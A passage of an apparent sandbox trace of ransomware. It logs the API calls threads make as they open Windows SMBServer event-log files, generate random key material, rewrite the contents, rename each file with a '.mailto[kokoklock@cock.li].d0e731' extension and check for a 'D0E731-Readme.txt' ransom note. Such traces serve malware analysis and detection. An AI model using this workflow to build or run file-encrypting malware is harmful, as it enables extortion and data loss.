Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x4e7b0659 [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x7292c21d [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x17a09dcb [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x9ab10cd5 [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xc4fffc7f [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x565eed7a [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xb2452786 [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xdf76d0ce [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x613174e [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x3738ea3c [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xf3d39e [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x35026bbe [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x138ff6c1 [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x4257de99 [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xf031d9fd [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xa3fd969a [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x4a47535e [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xeebb7c02 [0063.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0063.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.432] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.432] ReadFile (in: hFile=0x3b8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa32fd18, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xa32fd18*=0x4096, lpOverlapped=0x0) returned 1 [0063.721] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce48 [0063.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0063.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0063.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55c4368 [0063.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efc20 [0063.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa68 [0063.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa68) returned 1 [0063.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce48) returned 1 [0063.723] WriteFile (in: hFile=0x3b8, lpBuffer=0x55c4368*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa32fd18, lpOverlapped=0x0 | out: lpBuffer=0x55c4368*, lpNumberOfBytesWritten=0xa32fd18*=0x4096, lpOverlapped=0x0) returned 1 [0063.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55c4368) returned 1 [0063.724] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.724] WriteFile (in: hFile=0x3b8, lpBuffer=0x33efc20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa32fd50, lpOverlapped=0x0 | out: lpBuffer=0x33efc20*, lpNumberOfBytesWritten=0xa32fd50*=0x20, lpOverlapped=0x0) returned 1 [0063.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efc20) returned 1 [0063.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.724] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa32fd64, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0xa32fd64*=0x8, lpOverlapped=0x0) returned 1 [0063.724] WriteFile (in: hFile=0x3b8, lpBuffer=0xa32fd7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa32fd64, lpOverlapped=0x0 | out: lpBuffer=0xa32fd7c*, lpNumberOfBytesWritten=0xa32fd64*=0x4, lpOverlapped=0x0) returned 1 [0063.724] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa32fd64, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa32fd64*=0x4, lpOverlapped=0x0) returned 1 [0063.724] WriteFile (in: hFile=0x3b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa32fd64, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa32fd64*=0x6c, lpOverlapped=0x0) returned 1 [0063.728] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cee8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa32fd64, lpOverlapped=0x0 | out: lpBuffer=0x347cee8*, lpNumberOfBytesWritten=0xa32fd64*=0x20, lpOverlapped=0x0) returned 1 [0063.728] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa32fd64, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa32fd64*=0x4, lpOverlapped=0x0) returned 1 [0063.728] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0063.729] CloseHandle (hObject=0x3b8) returned 1 [0063.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x33e3818 [0063.971] wcscpy (in: _Dest=0x33e3818, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" [0063.971] wcscat (in: _Dest=0x33e3818, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" [0063.971] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.972] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3818) returned 1 [0063.972] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx", dwFileAttributes=0x20) returned 0 [0063.972] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433968 [0063.972] wcscpy (in: _Dest=0x3433968, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.972] wcscat (in: _Dest=0x3433968, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.972] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433968) returned 1 [0063.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0063.972] RtlExitUserThread (Status=0x1) Thread: id = 175 os_tid = 0x1134 [0063.433] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0063.433] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.433] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0063.433] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0xa3afa14 | out: lpFileSize=0xa3afa14*=69632) returned 1 [0063.433] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.433] ReadFile (in: hFile=0x3b4, lpBuffer=0xa3af9e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa3af9e4, lpOverlapped=0x0 | out: lpBuffer=0xa3af9e8*, lpNumberOfBytesRead=0xa3af9e4*=0x4, lpOverlapped=0x0) returned 1 [0063.730] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa68 [0063.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efbd0 [0063.730] NtQuerySystemTime (in: CurrentTime=0xa3af9c0 | out: CurrentTime=0xa3af9c0*=132121176216277697) returned 0x0 [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x2ad7b916 [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xeb81095d [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xd836f33a [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xf20864ca [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x69956e6f [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xa229a683 [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xd8be37bf [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xbdb64150 [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xd18ba05b [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xcb73c028 [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x7f75bb0e [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x7408d852 [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x9a42af1a [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xc08ab4ed [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x49e646c8 [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xa42be9f6 [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x2e1e34fa [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x62ea12fb [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xb14472e [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xd9f75a88 [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xb0483c15 [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x9ad79316 [0063.730] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x42f6db6f [0063.731] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x3748ef28 [0063.731] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xd79d738d [0063.731] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xf70bae27 [0063.731] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xcabe4145 [0063.731] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xc13d67b [0063.731] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x30504bb4 [0063.731] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x146c975d [0063.731] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0xb8a1f26f [0063.731] RtlRandom (in: Seed=0xa3af9cc | out: Seed=0xa3af9cc) returned 0x51eefc31 [0063.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0063.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0063.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa90 [0063.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0063.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.741] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.741] ReadFile (in: hFile=0x3b4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa3af998, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xa3af998*=0x4096, lpOverlapped=0x0) returned 1 [0063.973] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0063.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e8908 [0063.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0063.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0063.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0063.975] WriteFile (in: hFile=0x3b4, lpBuffer=0x55e8908*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa3af998, lpOverlapped=0x0 | out: lpBuffer=0x55e8908*, lpNumberOfBytesWritten=0xa3af998*=0x4096, lpOverlapped=0x0) returned 1 [0063.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e8908) returned 1 [0063.975] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.975] WriteFile (in: hFile=0x3b4, lpBuffer=0x33e4760*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa3af9d0, lpOverlapped=0x0 | out: lpBuffer=0x33e4760*, lpNumberOfBytesWritten=0xa3af9d0*=0x20, lpOverlapped=0x0) returned 1 [0063.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.975] WriteFile (in: hFile=0x3b4, lpBuffer=0x33efa90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa3af9e4, lpOverlapped=0x0 | out: lpBuffer=0x33efa90*, lpNumberOfBytesWritten=0xa3af9e4*=0x8, lpOverlapped=0x0) returned 1 [0063.975] WriteFile (in: hFile=0x3b4, lpBuffer=0xa3af9fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa3af9e4, lpOverlapped=0x0 | out: lpBuffer=0xa3af9fc*, lpNumberOfBytesWritten=0xa3af9e4*=0x4, lpOverlapped=0x0) returned 1 [0063.976] WriteFile (in: hFile=0x3b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa3af9e4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa3af9e4*=0x4, lpOverlapped=0x0) returned 1 [0063.976] WriteFile (in: hFile=0x3b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa3af9e4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa3af9e4*=0x6c, lpOverlapped=0x0) returned 1 [0063.976] WriteFile (in: hFile=0x3b4, lpBuffer=0x33efa68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa3af9e4, lpOverlapped=0x0 | out: lpBuffer=0x33efa68*, lpNumberOfBytesWritten=0xa3af9e4*=0x20, lpOverlapped=0x0) returned 1 [0063.976] WriteFile (in: hFile=0x3b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa3af9e4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa3af9e4*=0x4, lpOverlapped=0x0) returned 1 [0063.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa68) returned 1 [0063.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0063.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa90) returned 1 [0063.976] CloseHandle (hObject=0x3b4) returned 1 [0064.492] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x33e35f0 [0064.492] wcscpy (in: _Dest=0x33e35f0, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" [0064.492] wcscat (in: _Dest=0x33e35f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0064.492] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.586] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.586] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e35f0) returned 1 [0064.586] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0064.587] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34346a8 [0064.587] wcscpy (in: _Dest=0x34346a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.587] wcscat (in: _Dest=0x34346a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.587] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.587] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34346a8) returned 1 [0064.587] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0064.587] RtlExitUserThread (Status=0x1) Thread: id = 176 os_tid = 0x1138 [0063.434] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0063.434] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx", dwFileAttributes=0x20) returned 1 [0063.435] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0063.435] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0xa42fa34 | out: lpFileSize=0xa42fa34*=69632) returned 1 [0063.435] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.435] ReadFile (in: hFile=0x3b0, lpBuffer=0xa42fa08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa42fa04, lpOverlapped=0x0 | out: lpBuffer=0xa42fa08*, lpNumberOfBytesRead=0xa42fa04*=0x4, lpOverlapped=0x0) returned 1 [0063.742] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0063.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efbf8 [0063.742] NtQuerySystemTime (in: CurrentTime=0xa42f9e0 | out: CurrentTime=0xa42f9e0*=132121176216277697) returned 0x0 [0063.742] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x9c39af37 [0063.742] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xc3d00307 [0063.742] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xc61f970f [0063.742] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xc8a0fdce [0063.742] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x454519a5 [0063.742] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x1be565e [0063.742] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x363a543 [0063.742] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x5c60d0a9 [0063.742] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x5acc3b60 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xaaecf9f4 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x1f78187f [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x1cbbd2d3 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xc34e5ccb [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xad36735b [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x46ba5301 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xca7e632b [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x73d70725 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x1f5810c1 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xeb4dfd1e [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x756a93b4 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xace47630 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x9116ff1e [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x5f762b1a [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x278638c8 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x45b15bf5 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xfafc7407 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xee0d6da9 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x4dc5cb04 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xef7e4189 [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x69a0b11d [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0xe5e15f5a [0063.743] RtlRandom (in: Seed=0xa42f9ec | out: Seed=0xa42f9ec) returned 0x347e827f [0063.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd10 [0063.754] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0063.754] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb08 